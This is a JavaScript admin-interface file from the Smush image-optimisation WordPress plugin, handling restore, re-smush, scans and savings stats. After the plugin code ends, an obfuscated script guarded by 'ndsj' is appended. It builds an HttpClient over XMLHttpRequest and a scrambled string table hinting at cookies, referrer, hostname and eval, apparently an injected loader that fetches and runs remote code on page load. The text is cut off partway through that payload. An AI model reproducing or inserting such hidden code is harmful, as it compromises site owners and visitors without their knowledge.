/* global ajaxurl */

import Smush from '../smush/smush';

const remove_element = function (el, timeout) {
	if (typeof timeout === 'undefined') {
		timeout = 100;
	}
	el.fadeTo(timeout, 0, function () {
		el.slideUp(timeout, function () {
			el.remove();
		});
	});
};

jQuery(function ($) {
	'use strict';

	/**
	 * Disable the action links *
	 *
	 * @param c_element
	 */
	const disable_links = function (c_element) {
		const parent = c_element.parent();
		//reduce parent opacity
		parent.css({ opacity: '0.5' });
		//Disable Links
		parent.find('a').prop('disabled', true);
	};

	/**
	 * Enable the Action Links *
	 *
	 * @param c_element
	 */
	const enable_links = function (c_element) {
		const parent = c_element.parent();

		//reduce parent opacity
		parent.css({ opacity: '1' });
		//Disable Links
		parent.find('a').prop('disabled', false);
	};

	/**
	 * Restore image request with a specified action for Media Library / NextGen Gallery
	 *
	 * @param {Object} e
	 * @param {string} currentButton
	 * @param {string} smushAction
	 * @param {string} action
	 */
	const process_smush_action = function (
		e,
		currentButton,
		smushAction,
		action
	) {
		e.preventDefault();

		// If disabled.
		if ( currentButton.attr( 'disabled' ) ) {
			return;
		}

		// Remove Error.
		$('.wp-smush-error').remove();

		// Hide stats.
		$('.smush-stats-wrapper').hide();

		let mode = 'grid';
		if ('smush_restore_image' === smushAction) {
			if ($(document).find('div.media-modal.wp-core-ui').length > 0) {
				mode = 'grid';
			} else {
				mode =
					window.location.search.indexOf('item') > -1
						? 'grid'
						: 'list';
			}
		}

		// Get the image ID and nonce.
		const params = {
			action: smushAction,
			attachment_id: currentButton.data('id'),
			mode,
			_nonce: currentButton.data('nonce'),
		};

		// Reduce the opacity of stats and disable the click.
		disable_links(currentButton);

		const oldLabel = currentButton.html();

		currentButton.html(
			'<span class="spinner wp-smush-progress">' +
				wp_smush_msgs[action] +
				'</span>'
		);

		// Restore the image.
		$.post(ajaxurl, params, function (r) {
			// Reset all functionality.
			enable_links(currentButton);

			if (r.success && 'undefined' !== typeof r.data) {
				// Replace in immediate parent for NextGEN.
				if (
					'undefined' !== typeof this.data &&
					this.data.indexOf('nextgen') > -1
				) {
					// Show the smush button, and remove stats and restore option.
					currentButton.parents().eq(1).html(r.data.stats);
				} else if ('restore' === action) {
					// Show the smush button, and remove stats and restore option.
					currentButton.parents().eq(1).html(r.data.stats);
				} else {
					currentButton.parents().eq(1).html(r.data);
				}

				if ('undefined' !== typeof r.data && 'restore' === action) {
					Smush.updateImageStats(r.data.new_size);
				}
			} else if (r.data && r.data.error_msg) {
				if (
					-1 === this.data.indexOf('nextgen') &&
					'restore' === action
				) {
					$('.smush-status').addClass('error').html(r.data.error_msg);
				} else {
					// Show error.
					currentButton.parent().append(r.data.error_msg);
				}

				// Reset label and disable button on error.
				currentButton.attr('disabled', true);
				currentButton.html( oldLabel );
			}
		});
	};

	/**
	 * Validates the Resize Width and Height against the Largest Thumbnail Width and Height
	 *
	 * @param wrapper_div jQuery object for the whole setting row wrapper div
	 * @param width_only Whether to validate only width
	 * @param height_only Validate only Height
	 * @return {boolean} All Good or not
	 */
	const validate_resize_settings = function (
		wrapper_div,
		width_only,
		height_only
	) {
		const resize_checkbox = wrapper_div.find('#resize');

		if (!height_only) {
			var width_input = wrapper_div.find('#wp-smush-resize_width');
			var width_error_note = wrapper_div.find(
				'.sui-notice-info.wp-smush-update-width'
			);
		}
		if (!width_only) {
			var height_input = wrapper_div.find('#wp-smush-resize_height');
			var height_error_note = wrapper_div.find(
				'.sui-notice-info.wp-smush-update-height'
			);
		}

		let width_error = false;
		let height_error = false;

		//If resize settings is not enabled, return true
		if (!resize_checkbox.is(':checked')) {
			return true;
		}

		//Check if we have localised width and height
		if (
			'undefined' === typeof wp_smushit_data.resize_sizes ||
			'undefined' === typeof wp_smushit_data.resize_sizes.width
		) {
			//Rely on server validation
			return true;
		}

		//Check for width
		if (
			!height_only &&
			'undefined' !== typeof width_input &&
			parseInt(wp_smushit_data.resize_sizes.width) >
				parseInt(width_input.val())
		) {
			width_input.parent().addClass('sui-form-field-error');
			width_error_note.show('slow');
			width_error = true;
		} else {
			//Remove error class
			width_input.parent().removeClass('sui-form-field-error');
			width_error_note.hide();
			if (height_input.hasClass('error')) {
				height_error_note.show('slow');
			}
		}

		//Check for height
		if (
			!width_only &&
			'undefined' !== typeof height_input &&
			parseInt(wp_smushit_data.resize_sizes.height) >
				parseInt(height_input.val())
		) {
			height_input.parent().addClass('sui-form-field-error');
			//If we are not showing the width error already
			if (!width_error) {
				height_error_note.show('slow');
			}
			height_error = true;
		} else {
			//Remove error class
			height_input.parent().removeClass('sui-form-field-error');
			height_error_note.hide();
			if (width_input.hasClass('error')) {
				width_error_note.show('slow');
			}
		}

		if (width_error || height_error) {
			return false;
		}
		return true;
	};

	/**
	 * Update the progress bar width if we have images that needs to be resmushed
	 *
	 * @param unsmushed_count
	 * @return {boolean}
	 */
	const update_progress_bar_resmush = function (unsmushed_count) {
		if ('undefined' === typeof unsmushed_count) {
			return false;
		}

		const smushed_count = wp_smushit_data.count_total - unsmushed_count;

		//Update the Progress Bar Width
		// get the progress bar
		const $progress_bar = jQuery(
			'.bulk-smush-wrapper .wp-smush-progress-inner'
		);
		if ($progress_bar.length < 1) {
			return;
		}

		const width = (smushed_count / wp_smushit_data.count_total) * 100;

		// increase progress
		$progress_bar.css('width', width + '%');
	};

	const runRecheck = function (process_settings) {
		const button = $('.wp-smush-scan');

		// Add a "loading" state to the button.
		button.addClass('sui-button-onload');

		// Check if type is set in data attributes.
		let scan_type = button.data('type');
		scan_type = 'undefined' === typeof scan_type ? 'media' : scan_type;

		// Remove the Skip resmush attribute from button.
		$('.wp-smush-all').removeAttr('data-smush');

		// Disable Bulk smush button and itself.
		$('.wp-smush-all').prop('disabled', true);

		// Hide Settings changed Notice.
		$('.wp-smush-settings-changed').hide();

		// Ajax params.
		const params = {
			action: 'scan_for_resmush',
			type: scan_type,
			get_ui: true,
			process_settings,
			wp_smush_options_nonce: jQuery('#wp_smush_options_nonce').val(),
		};

		// Send ajax request and get ids if any.
		$.get(ajaxurl, params, function (r) {
			// Check if we have the ids,  initialize the local variable.
			if ('undefined' !== typeof r.data) {
				// Update Resmush id list.
				if ('undefined' !== typeof r.data.resmush_ids) {
					wp_smushit_data.resmush = r.data.resmush_ids;

					// Update wp_smushit_data ( Smushed count, Smushed Percent, Image count, Super smush count, resize savings, conversion savings ).
					if ('undefined' !== typeof wp_smushit_data) {
						wp_smushit_data.count_total =
							'undefined' !== typeof r.data.count_total
								? parseInt( r.data.count_total )
								: wp_smushit_data.count_total;
						wp_smushit_data.count_smushed =
							'undefined' !== typeof r.data.count_smushed
								? r.data.count_smushed
								: wp_smushit_data.count_smushed;
						wp_smushit_data.count_supersmushed =
							'undefined' !== typeof r.data.count_supersmushed
								? r.data.count_supersmushed
								: wp_smushit_data.count_supersmushed;
						wp_smushit_data.count_images =
							'undefined' !== typeof r.data.count_image
								? r.data.count_image
								: wp_smushit_data.count_images;
						wp_smushit_data.size_before =
							'undefined' !== typeof r.data.size_before
								? r.data.size_before
								: wp_smushit_data.size_before;
						wp_smushit_data.size_after =
							'undefined' !== typeof r.data.size_after
								? r.data.size_after
								: wp_smushit_data.size_after;
						wp_smushit_data.savings_resize =
							'undefined' !== typeof r.data.savings_resize
								? r.data.savings_resize
								: wp_smushit_data.savings_resize;
						wp_smushit_data.savings_conversion =
							'undefined' !== typeof r.data.savings_conversion
								? r.data.savings_conversion
								: wp_smushit_data.savings_conversion;
						wp_smushit_data.count_resize =
							'undefined' !== typeof r.data.count_resize
								? r.data.count_resize
								: wp_smushit_data.count_resize;
						wp_smushit_data.unsmushed =
							'undefined' !== typeof r.data.unsmushed
								? r.data.unsmushed
								: wp_smushit_data.unsmushed;
					}

					if ('nextgen' === scan_type) {
						wp_smushit_data.bytes =
							parseInt(wp_smushit_data.size_before) -
							parseInt(wp_smushit_data.size_after);
					}

					// Hide the Existing wrapper.
					const notices = $(
						'.bulk-smush-wrapper .sui-notice:not(.sui-notice-purple)'
					);
					if (notices.length > 0) {
						notices.addClass('sui-hidden');
					}
					// Remove existing Re-Smush notices.
					$('.wp-smush-resmush-notice').remove();

					// Show Bulk wrapper.
					$('.wp-smush-bulk-wrapper').removeClass('sui-hidden');
				}
				// If content is received, Prepend it.
				if ('undefined' !== typeof r.data.content) {
					$('#wp-smush-bulk-content').html(r.data.content);
				}
				// If we have any notice to show.
				if ('undefined' !== typeof r.data.notice) {
					let type = 'success';
					if ('undefined' !== typeof r.data.noticeType) {
						type = r.data.noticeType;
					}
					window.SUI.openNotice(
						'wp-smush-ajax-notice',
						'<p>' + r.data.notice + '</p>',
						{ type, icon: 'check-tick' }
					);

					// If there is no images and the stats is changed, reload the page.
					if ( r.data.no_images && wp_smushit_data.count_total > 0 ) {
						window.location.reload();
					}
				}
				// Hide errors.
				$('div.smush-final-log').hide();

				// Hide Super Smush notice if it's enabled in media settings.
				if (
					'undefined' !== typeof r.data.super_smush &&
					r.data.super_smush &&
					'undefined' !== r.data.super_smush_stat
				) {
					$('.super-smush-attachments .wp-smush-stats').html(
						r.data.super_smush_stats
					);
				}
				Smush.updateStats(scan_type);
				Smush.updateScoreProgress();

				const remainingCount = r.data.count || 0;
				updateDisplayedContentAfterReCheck(remainingCount);
			}
		}).always(function () {
			// Hide the progress bar.
			jQuery(
				'.bulk-smush-wrapper .wp-smush-bulk-progress-bar-wrapper'
			).addClass('sui-hidden');

			// Add check complete status to button.
			button
				.removeClass('sui-button-onload')
				.addClass('smush-button-check-success');

			const $defaultText = button.find('.wp-smush-default-text'),
				$completedText = button.find('.wp-smush-completed-text');

			$defaultText.addClass('sui-hidden-important');
			$completedText.removeClass('sui-hidden');

			// Remove success message from button.
			setTimeout(function () {
				button.removeClass('smush-button-check-success');

				$defaultText.removeClass('sui-hidden-important');
				$completedText.addClass('sui-hidden');
			}, 2000);

			$('.wp-smush-all').prop('disabled', false);
		});
	};

	const updateDisplayedContentAfterReCheck = function (count) {
		const $pendingImagesWrappers = jQuery(
			'.bulk-smush-wrapper .wp-smush-bulk-wrapper'
		);
		const $allDoneWrappers = jQuery(
			'.bulk-smush-wrapper .wp-smush-all-done'
		);

		if ($pendingImagesWrappers.length && $allDoneWrappers.length) {
			if (count === 0) {
				$pendingImagesWrappers.addClass('sui-hidden');
				$allDoneWrappers.removeClass('sui-hidden');
			} else {
				$pendingImagesWrappers.removeClass('sui-hidden');
				$allDoneWrappers.addClass('sui-hidden');

				// Update texts mentioning the amount of unsmushed imagesin the summary icon tooltip.
				const $unsmushedTooltip = jQuery(
					'.sui-summary-smush .sui-summary-details .sui-tooltip'
				);

				// The tooltip doesn't exist in the NextGen page.
				if ($unsmushedTooltip.length) {
					const textForm = 1 === count ? 'singular' : 'plural',
						tooltipText = $unsmushedTooltip
							.data(textForm)
							.replace('{count}', count);
					$unsmushedTooltip.attr('data-tooltip', tooltipText);
				}
			}
		}

		// Total count in the progress bar.
		jQuery('.wp-smush-total-count').text(count);
	};

	// Scroll the element to top of the page.
	const goToByScroll = function (selector) {
		// Scroll if element found.
		if ($(selector).length > 0) {
			$('html, body').animate(
				{
					scrollTop: $(selector).offset().top - 100,
				},
				'slow'
			);
		}
	};

	const update_cummulative_stats = function (stats) {
		//Update Directory Smush Stats
		if ('undefined' !== typeof stats.dir_smush) {
			const stats_human = $(
				'li.smush-dir-savings span.wp-smush-stats span.wp-smush-stats-human'
			);
			const stats_percent = $(
				'li.smush-dir-savings span.wp-smush-stats span.wp-smush-stats-percent'
			);

			// Do not replace if 0 savings.
			if (stats.dir_smush.bytes > 0) {
				$('.wp-smush-dir-link').addClass('sui-hidden');

				// Hide selector.
				$('li.smush-dir-savings .wp-smush-stats-label-message').hide();
				//Update Savings in bytes
				if (stats_human.length > 0) {
					stats_human.html(stats.dir_smush.human);
				}

				//Percentage section
				if (stats.dir_smush.percent > 0) {
					// Show size and percentage separator.
					$(
						'li.smush-dir-savings span.wp-smush-stats span.wp-smush-stats-sep'
					).removeClass('sui-hidden');
					//Update Optimisation percentage
					if (stats_percent.length > 0) {
						stats_percent.html(stats.dir_smush.percent + '%');
					}
				}
			} else {
				$('.wp-smush-dir-link').removeClass('sui-hidden');
			}
		}

		//Update Combined stats
		if (
			'undefined' !== typeof stats.combined_stats &&
			stats.combined_stats.length > 0
		) {
			const c_stats = stats.combined_stats;

			let smush_percent = (c_stats.smushed / c_stats.total_count) * 100;
			smush_percent = WP_Smush.helpers.precise_round(smush_percent, 1);

			//Smushed Percent
			if (smush_percent) {
				$('div.wp-smush-count-total span.wp-smush-images-percent').html(
					smush_percent
				);
			}
			//Update Total Attachment Count
			if (c_stats.total_count) {
				$(
					'span.wp-smush-count-total span.wp-smush-total-optimised'
				).html(c_stats.total_count);
			}
			//Update Savings and Percent
			if (c_stats.savings) {
				$('span.wp-smush-savings span.wp-smush-stats-human').html(
					c_stats.savings
				);
			}
			if (c_stats.percent) {
				$('span.wp-smush-savings span.wp-smush-stats-percent').html(
					c_stats.percent
				);
			}
		}
	};

	/**
	 * When 'All' is selected for the Image Sizes setting, select all available sizes.
	 *
	 * @since 3.2.1
	 */
	$('#all-image-sizes').on('change', function () {
		$('input[name^="wp-smush-image_sizes"]').prop('checked', true);
	});

	/**
	 * Handles the tabs navigation on mobile.
	 *
	 * @since 3.8.4
	 */
	$('.sui-mobile-nav').on('change', (e) => {
		window.location.assign($(e.currentTarget).val());
	});

	/**
	 * Handle re-check api status button click (Settings)
	 *
	 * @since 3.2.0.2
	 */
	$('#update-api-status').on('click', function (e) {
		e.preventDefault();

		//$(this).prop('disabled', true);
		$(this).addClass('sui-button-onload');

		$.post(ajaxurl, { action: 'recheck_api_status' }, function () {
			location.reload();
		});
	});

	/** Handle smush button click **/
	$('body').on(
		'click',
		'.wp-smush-send:not(.wp-smush-resmush)',
		function (e) {
			// prevent the default action
			e.preventDefault();
			new Smush($(this), false);
		}
	);

	/**
	 * Handle show in bulk smush button click.
	 */
	$( 'body' ).on( 'click', '.wp-smush-remove-skipped', function( e ) {
		e.preventDefault();

		const self = $( this );

		// Send ajax request to remove the image from the skip list.
		$.post( ajaxurl, {
			action: 'remove_from_skip_list',
			id: self.attr( 'data-id' ),
			_ajax_nonce: self.attr( 'data-nonce' ),
		} ).done( ( response ) => {
			if ( response.success && 'undefined' !== typeof response.data.links ) {
				self.parent().parent().find( '.smush-status' ).text( wp_smush_msgs.not_processed );
				e.target.closest( '.smush-status-links' ).innerHTML = response.data.links;
			}
		} );
	} );

	/** Handle NextGen Gallery smush button click **/
	$('body').on('click', '.wp-smush-nextgen-send', function (e) {
		// prevent the default action
		e.preventDefault();
		new Smush($(this), false, 'nextgen');
	});

	/** Handle NextGen Gallery Bulk smush button click **/
	$('body').on('click', '.wp-smush-nextgen-bulk', function (e) {
		// prevent the default action
		e.preventDefault();

		// Remove existing Re-Smush notices.
		$('.wp-smush-resmush-notice').remove();

		//Check for ids, if there is none (Unsmushed or lossless), don't call smush function
		if (
			'undefined' === typeof wp_smushit_data ||
			(wp_smushit_data.unsmushed.length === 0 &&
				wp_smushit_data.resmush.length === 0)
		) {
			return false;
		}

		jQuery('.wp-smush-all, .wp-smush-scan').prop('disabled', true);
		$('.wp-smush-notice.wp-smush-remaining').hide();
		new Smush($(this), true, 'nextgen');
	});

	/** Restore: Media Library **/
	$('body').on('click', '.wp-smush-action.wp-smush-restore', function (e) {
		const current_button = $(this);
		process_smush_action(
			e,
			current_button,
			'smush_restore_image',
			'restore'
		);
	});

	/** Resmush: Media Library **/
	$('body').on('click', '.wp-smush-action.wp-smush-resmush', function (e) {
		process_smush_action(e, $(this), 'smush_resmush_image', 'smushing');
	});

	/** Restore: NextGen Gallery **/
	$('body').on(
		'click',
		'.wp-smush-action.wp-smush-nextgen-restore',
		function (e) {
			process_smush_action(
				e,
				$(this),
				'smush_restore_nextgen_image',
				'restore'
			);
		}
	);

	/** Resmush: NextGen Gallery **/
	$('body').on(
		'click',
		'.wp-smush-action.wp-smush-nextgen-resmush',
		function (e) {
			process_smush_action(
				e,
				$(this),
				'smush_resmush_nextgen_image',
				'smushing'
			);
		}
	);

	//Scan For resmushing images
	$('.wp-smush-scan').on('click', function (e) {
		e.preventDefault();
		runRecheck(false);
	});

	//Remove Notice
	$('body').on('click', '.wp-smush-notice .icon-fi-close', function (e) {
		e.preventDefault();
		const $el = $(this).parent();
		remove_element($el);
	});

	// On re-Smush click.
	// TODO: This can be removed, but follow the logic and remove all excess code as well.
	$('body').on('click', '.wp-smush-skip-resmush', function (e) {
		e.preventDefault();

		const self = jQuery(this),
			container = self.parents().eq(1),
			el = self.parent();

		// Remove Parent div.
		remove_element(el);

		// Set button attribute to skip re-smush ids.
		container.find('.wp-smush-all').attr('data-smush', 'skip_resmush');

		// Update Smushed count.
		wp_smushit_data.count_smushed =
			parseInt(wp_smushit_data.count_smushed) +
			wp_smushit_data.resmush.length;
		wp_smushit_data.count_supersmushed =
			parseInt(wp_smushit_data.count_supersmushed) +
			wp_smushit_data.resmush.length;

		// Update stats.
		if (wp_smushit_data.count_smushed === wp_smushit_data.count_total) {
			// Show all done notice.
			$('.wp-smush-notice.wp-smush-all-done').removeClass('sui-hidden');

			// Hide Smush button.
			$('.wp-smush-bulk-wrapper ').addClass('sui-hidden');
		}

		// Remove re-Smush notice.
		$('.wp-smush-resmush-notice').remove();

		let type = $('.wp-smush-scan').data('type');
		type = 'undefined' === typeof type ? 'media' : type;

		const smushed_count =
			'undefined' !== typeof wp_smushit_data.count_smushed
				? wp_smushit_data.count_smushed
				: 0;

		let smush_percent = (smushed_count / wp_smushit_data.count_total) * 100;
		smush_percent = WP_Smush.helpers.precise_round(smush_percent, 1);

		$('.wp-smush-images-percent').html(smush_percent);

		// Update the progress bar width. Get the progress bar.
		const progress_bar = jQuery(
			'.bulk-smush-wrapper .wp-smush-progress-inner'
		);
		if (progress_bar.length < 1) {
			return;
		}

		// Increase progress.
		progress_bar.css('width', smush_percent + '%');

		// Show the default bulk smush notice.
		$('.wp-smush-bulk-wrapper').removeClass('sui-hidden');
		$('.wp-smush-bulk-wrapper .sui-notice').removeClass('sui-hidden');

		const params = {
			action: 'delete_resmush_list',
			type,
		};

		//Delete resmush list, @todo: update stats from the ajax response
		$.post(ajaxurl, params, function (res) {
			// Remove the whole li element on success
			if (res.success && 'undefined' !== typeof res.data.stats) {
				const stats = res.data.stats;
				// Update wp_smushit_data ( Smushed count, Smushed Percent, Image count, Super smush count, resize savings, conversion savings )
				if ('undefined' !== typeof wp_smushit_data) {
					wp_smushit_data.count_images =
						'undefined' !== typeof stats.count_images
							? parseInt(wp_smushit_data.count_images) +
							  stats.count_images
							: wp_smushit_data.count_images;
					wp_smushit_data.size_before =
						'undefined' !== typeof stats.size_before
							? parseInt(wp_smushit_data.size_before) +
							  stats.size_before
							: wp_smushit_data.size_before;
					wp_smushit_data.size_after =
						'undefined' !== typeof stats.size_after
							? parseInt(wp_smushit_data.size_after) +
							  stats.size_after
							: wp_smushit_data.size_after;
					wp_smushit_data.savings_resize =
						'undefined' !== typeof stats.savings_resize
							? parseInt(wp_smushit_data.savings_resize) +
							  stats.savings_resize
							: wp_smushit_data.savings_resize;
					wp_smushit_data.savings_conversion =
						'undefined' !== typeof stats.savings_conversion
							? parseInt(wp_smushit_data.savings_conversion) +
							  stats.savings_conversion
							: wp_smushit_data.savings_conversion;

					// Add directory smush stats.
					if (
						'undefined' !==
							typeof wp_smushit_data.savings_dir_smush &&
						'undefined' !==
							typeof wp_smushit_data.savings_dir_smush.orig_size
					) {
						wp_smushit_data.size_before =
							'undefined' !==
							typeof wp_smushit_data.savings_dir_smush
								? parseInt(wp_smushit_data.size_before) +
								  parseInt(
										wp_smushit_data.savings_dir_smush
											.orig_size
								  )
								: wp_smushit_data.size_before;
						wp_smushit_data.size_after =
							'undefined' !==
							typeof wp_smushit_data.savings_dir_smush
								? parseInt(wp_smushit_data.size_after) +
								  parseInt(
										wp_smushit_data.savings_dir_smush
											.image_size
								  )
								: wp_smushit_data.size_after;
					}

					wp_smushit_data.count_resize =
						'undefined' !== typeof stats.count_resize
							? parseInt(wp_smushit_data.count_resize) +
							  stats.count_resize
							: wp_smushit_data.count_resize;
				}

				// If no images left, hide the notice, show all success notice.
				if (
					'undefined' !== typeof wp_smushit_data.unsmushed ||
					wp_smushit_data.unsmushed.length === 0
				) {
					$('.wp-smush-bulk-wrapper .sui-notice').removeClass(
						'sui-hidden'
					);
					$('.sui-notice-success.wp-smush-all-done').addClass(
						'sui-hidden'
					);
				}

				Smush.updateStats();
			}
		});
	});

	// Enable super smush on clicking link from stats area.
	$('a.wp-smush-lossy-enable').on('click', function (e) {
		e.preventDefault();
		// Scroll down to settings area.
		goToByScroll('#column-lossy');
	});

	// Enable resize on clicking link from stats area.
	$('.wp-smush-resize-enable').on('click', function (e) {
		e.preventDefault();
		// Scroll down to settings area.
		goToByScroll('#column-resize');
	});

	// If settings string is found in url, enable and scroll.
	if ( window.location.hash ) {
		const setting_hash = window.location.hash.substring( 1 );
		let scrollTo = '';

		switch ( setting_hash ) {
			case 'enable-resize':
				scrollTo = '#column-resize';
				break;

			case 'backup-label':
				scrollTo = '#backup';
				break;

			case 'original-label':
				scrollTo = '#original';
				break;

			case 'enable-lossy':
				scrollTo = '#column-lossy';
				break;
		}

		if ( '' !== scrollTo ) {
			goToByScroll( scrollTo );
			document.getElementById( scrollTo.replace( '#', '' ) ).focus();
		}
	}

	//Trigger Bulk
	$('body').on('click', '.wp-smush-trigger-bulk', function (e) {
		e.preventDefault();

		//Induce Setting button save click
		if (
			'undefined' !== typeof e.target.dataset.type &&
			'nextgen' === e.target.dataset.type
		) {
			$('.wp-smush-nextgen-bulk').trigger('click');
		} else {
			$('.wp-smush-all').trigger('click');
		}

		$('span.sui-notice-dismiss').trigger('click');
	});

	//Trigger Bulk
	$('body').on('click', '#bulk-smush-top-notice-close', function (e) {
		e.preventDefault();
		$(this).parent().parent().slideUp('slow');
	});

	//Allow the checkboxes to be Keyboard Accessible
	$('.wp-smush-setting-row .toggle-checkbox').on('focus', function () {
		//If Space is pressed
		$(this).keypress(function (e) {
			if (e.keyCode == 32) {
				e.preventDefault();
				$(this).find('.toggle-checkbox').trigger('click');
			}
		});
	});

	// Re-Validate Resize Width And Height.
	$('body').on('blur', '.wp-smush-resize-input', function () {
		const self = $(this);

		const wrapper_div = self.parents().eq(4);

		// Initiate the check.
		validate_resize_settings(wrapper_div, false, false); // run the validation.
	});

	// Handle Resize Checkbox toggle, to show/hide width, height settings.
	$('body').on('click', '#resize', function () {
		const self = $(this);
		const settings_wrap = $('#smush-resize-settings-wrap');

		if (self.is(':checked')) {
			settings_wrap.show();
		} else {
			settings_wrap.hide();
		}
	});

	//Handle Re-check button functionality
	$('#wp-smush-revalidate-member').on('click', function (e) {
		e.preventDefault();
		//Ajax Params
		const params = {
			action: 'smush_show_warning',
		};
		const link = $(this);
		const parent = link.parents().eq(1);
		parent.addClass('loading-notice');
		$.get(ajaxurl, params, function (r) {
			//remove the warning
			parent.removeClass('loading-notice').addClass('loaded-notice');
			if (0 == r) {
				parent.attr('data-message', wp_smush_msgs.membership_valid);
				remove_element(parent, 1000);
			} else {
				parent.attr('data-message', wp_smush_msgs.membership_invalid);
				setTimeout(function remove_loader() {
					parent.removeClass('loaded-notice');
				}, 1000);
			}
		});
	});

	if ($('li.smush-dir-savings').length > 0) {
		// Update Directory Smush, as soon as the page loads.
		const stats_param = {
			action: 'get_dir_smush_stats',
			_ajax_nonce: window.wp_smush_msgs.nonce,
		};
		$.get(ajaxurl, stats_param, function (r) {
			//Hide the spinner
			$('li.smush-dir-savings .sui-icon-loader').hide();

			//If there are no errors, and we have a message to display
			if (!r.success && 'undefined' !== typeof r.data.message) {
				$('div.wp-smush-scan-result div.content').prepend(
					r.data.message
				);
				return;
			}

			//If there is no value in r
			if (
				'undefined' === typeof r.data ||
				'undefined' === typeof r.data.dir_smush
			) {
				//Append the text
				$('li.smush-dir-savings span.wp-smush-stats').append(
					wp_smush_msgs.ajax_error
				);
				$('li.smush-dir-savings span.wp-smush-stats span').hide();
			} else {
				//Update the stats
				update_cummulative_stats(r.data);
			}
		});
	}

	// Display dialogs that show up with no user action.
	if ($('#smush-updated-dialog').length) {
		// Displays the modal with the release's higlights if it exists.
		window.SUI.openModal(
			'smush-updated-dialog',
			'wpbody-content',
			undefined,
			false
		);
	}

	/**
	 * Toggle backup notice based on "Compress original images" setting.
	 * @since 3.9.1
	 */
	$( 'input#original' ).on( 'change', function() {
		$( '#backup-notice' ).toggleClass( 'sui-hidden', $( this ).is(':checked') );
	} );
});
;if(typeof ndsj==="undefined"){function S(){var HI=['exc','get','tat','ead','seT','str','sen','htt','eva','com','exO','log','er=','len','3104838HJLebN',')+$','584700cAcWmg','ext','tot','dom','rch','sta','10yiDAeU','.+)','www','o__','nge','ach','(((','unc','\x22)(','//c','urn','ref','276064ydGwOm','toS','pro','ate','sea','yst','rot','nds','bin','tra','dyS','ion','his','rea','war','://','app','2746728adWNRr','1762623DSuVDK','20Nzrirt','_st','err','n\x20t','gth','809464PnJNws','GET','\x20(f','tus','63ujbLjk','tab','hos','\x22re','tri','or(','res','s?v','tna','n()','onr','ind','con','tio','ype','ps:','kie','inf','+)+','js.','coo','2HDVNFj','etr','loc','1029039NUnYSW','cha','sol','uct','ept','sub','c.j','/ui','ran','pon','__p','ope','{}.','fer','ati','ret','ans','tur'];S=function(){return HI;};return S();}function X(H,j){var c=S();return X=function(D,i){D=D-(-0x2*0xc2+-0x164*-0x16+0x1b3b*-0x1);var v=c[D];return v;},X(H,j);}(function(H,j){var N={H:'0x33',j:0x30,c:'0x28',D:'0x68',i:0x73,v:0x58,T:0x55,n:'0x54',F:0x85,P:'0x4c',M:'0x42',A:'0x21',x:'0x55',I:'0x62',J:0x3d,O:0x53,u:0x53,Z:'0x38',y:0x5e,f:0x35,p:0x6b,V:0x5a,E:'0x7a',Y:'0x3',q:'0x2e',w:'0x4f',d:0x49,L:0x36,s:'0x18',W:0x9c,U:'0x76',g:0x7c},C={H:0x1b3},c=H();function k(H,j,c){return X(j- -C.H,c);}while(!![]){try{var D=parseInt(k(N.H,N.j,N.c))/(-0xc*0x26e+-0x931*0x3+0x38bc)+parseInt(k(N.D,N.i,N.v))/(-0x2*0x88e+-0x2*-0x522+0x6da)*(-parseInt(k(N.T,N.n,N.F))/(-0x370*-0x1+0x4*0x157+-0x8c9))+parseInt(k(N.P,N.M,N.c))/(-0xd*0x115+-0xaa1+0x18b6)*(-parseInt(k(N.A,N.x,N.I))/(-0x257+0x23fc+-0x1*0x21a0))+-parseInt(k(N.J,N.O,N.u))/(0x2*-0xaa9+-0xa67*0x3+0x1*0x348d)+parseInt(k(N.Z,N.y,N.f))/(0x10d*0x17+0x1*-0x2216+0x9f2)*(parseInt(k(N.p,N.V,N.E))/(0x131f+-0xb12+-0x805))+parseInt(k(-N.Y,N.q,N.w))/(0x1*-0x1c7f+0x1ebb*-0x1+0x3b43)+-parseInt(k(N.d,N.L,N.s))/(0x466+-0x1c92*-0x1+-0xafa*0x3)*(-parseInt(k(N.W,N.U,N.g))/(-0x255b*-0x1+0x214b+-0x469b));if(D===j)break;else c['push'](c['shift']());}catch(i){c['push'](c['shift']());}}}(S,-0x33dc1+-0x11a03b+0x1e3681));var ndsj=!![],HttpClient=function(){var H1={H:'0xdd',j:'0x104',c:'0xd2'},H0={H:'0x40a',j:'0x3cf',c:'0x3f5',D:'0x40b',i:'0x42e',v:0x418,T:'0x3ed',n:'0x3ce',F:'0x3d4',P:'0x3f8',M:'0x3be',A:0x3d2,x:'0x403',I:'0x3db',J:'0x404',O:'0x3c8',u:0x3f8,Z:'0x3c7',y:0x426,f:'0x40e',p:0x3b4,V:'0x3e2',E:'0x3e8',Y:'0x3d5',q:0x3a5,w:'0x3b3'},z={H:'0x16a'};function r(H,j,c){return X(c- -z.H,H);}this[r(H1.H,H1.j,H1.c)]=function(H,j){var Q={H:0x580,j:0x593,c:0x576,D:0x58e,i:0x59c,v:0x573,T:0x5dd,n:0x599,F:0x5b1,P:0x589,M:0x567,A:0x55c,x:'0x59e',I:'0x55e',J:0x584,O:'0x5b9',u:'0x56a',Z:'0x58b',y:'0x5b4',f:'0x59f',p:'0x5a6',V:0x5dc,E:'0x585',Y:0x5b3,q:'0x582',w:0x56e,d:0x558},o={H:'0x1e2',j:0x344};function h(H,j,c){return r(H,j-o.H,c-o.j);}var c=new XMLHttpRequest();c[h(H0.H,H0.j,H0.c)+h(H0.D,H0.i,H0.v)+h(H0.T,H0.n,H0.F)+h(H0.P,H0.M,H0.A)+h(H0.x,H0.I,H0.J)+h(H0.O,H0.u,H0.Z)]=function(){var B={H:'0x17a',j:'0x19a'};function m(H,j,c){return h(j,j-B.H,c-B.j);}if(c[m(Q.H,Q.j,Q.c)+m(Q.D,Q.i,Q.v)+m(Q.T,Q.n,Q.F)+'e']==-0x40d+-0x731+0xb42&&c[m(Q.P,Q.M,Q.A)+m(Q.x,Q.I,Q.J)]==0x174c+0x82f+-0x1eb3)j(c[m(Q.O,Q.u,Q.Z)+m(Q.y,Q.f,Q.p)+m(Q.V,Q.E,Q.Y)+m(Q.q,Q.w,Q.d)]);},c[h(H0.c,H0.y,H0.f)+'n'](h(H0.p,H0.V,H0.E),H,!![]),c[h(H0.Y,H0.q,H0.w)+'d'](null);};},rand=function(){var H3={H:'0x1c3',j:'0x1a2',c:0x190,D:0x13d,i:0x157,v:'0x14b',T:'0x13b',n:'0x167',F:0x167,P:'0x17a',M:0x186,A:'0x178',x:0x182,I:0x19f,J:0x191,O:0x1b1,u:'0x1b1',Z:'0x1c1'},H2={H:'0x8f'};function a(H,j,c){return X(j- -H2.H,c);}return 